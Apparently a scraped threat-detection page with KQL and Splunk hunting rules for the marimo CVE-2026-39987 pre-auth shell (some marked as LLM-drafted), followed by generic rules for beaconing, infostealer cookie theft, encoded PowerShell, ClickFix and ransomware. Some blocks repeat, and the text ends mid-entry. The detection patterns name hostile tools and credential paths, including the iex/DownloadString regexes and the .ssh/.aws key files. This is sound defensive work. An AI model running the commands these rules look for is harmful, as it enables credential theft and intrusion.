Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-204 use cases0 techniques3 kill-chain phases detected
Apple Safari, iOS, watchOS, visionOS, iPadOS, macOS, and tvOS contain a buffer overflow vulnerability that could allow the processing of maliciously crafted web content which may lead to memory corruption. Vendor: Apple, Product: Multiple Products. Federal patch due: 2026-04-03.
CVEsCVE-2025-43510CVE-2025-31277
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-43510", "CVE-2025-31277")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-43510", "CVE-2025-31277")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-03-194 use cases3 techniques4 kill-chain phases detected
Single-tool LLM analysis produces reports that look authoritative but aren't. A serial consensus pipeline catches artifacts and hallucinations at source.
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("60c8128c48aac890a6d01448d1829a6edcdce0d2", "678aa572faa73f6873d24f24e423d315e7eb2c2d", "f5149543014e5b1bd7030711fd5c7d2a4bef0c2f") or SHA1 in~ ("60c8128c48aac890a6d01448d1829a6edcdce0d2", "678aa572faa73f6873d24f24e423d315e7eb2c2d", "f5149543014e5b1bd7030711fd5c7d2a4bef0c2f") or MD5 in~ ("60c8128c48aac890a6d01448d1829a6edcdce0d2", "678aa572faa73f6873d24f24e423d315e7eb2c2d", "f5149543014e5b1bd7030711fd5c7d2a4bef0c2f")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("60c8128c48aac890a6d01448d1829a6edcdce0d2", "678aa572faa73f6873d24f24e423d315e7eb2c2d", "f5149543014e5b1bd7030711fd5c7d2a4bef0c2f")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("60c8128c48aac890a6d01448d1829a6edcdce0d2", "678aa572faa73f6873d24f24e423d315e7eb2c2d", "f5149543014e5b1bd7030711fd5c7d2a4bef0c2f")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] EDR-Freeze: WerFaultSecure /type 268310 against protected security process · [LLM] EDRSilencer-style WFP filter blocking EDR sensor outbound traffic
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] Warlock-style chain: Velociraptor agent followed by VS Code (code.exe) tunnel
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
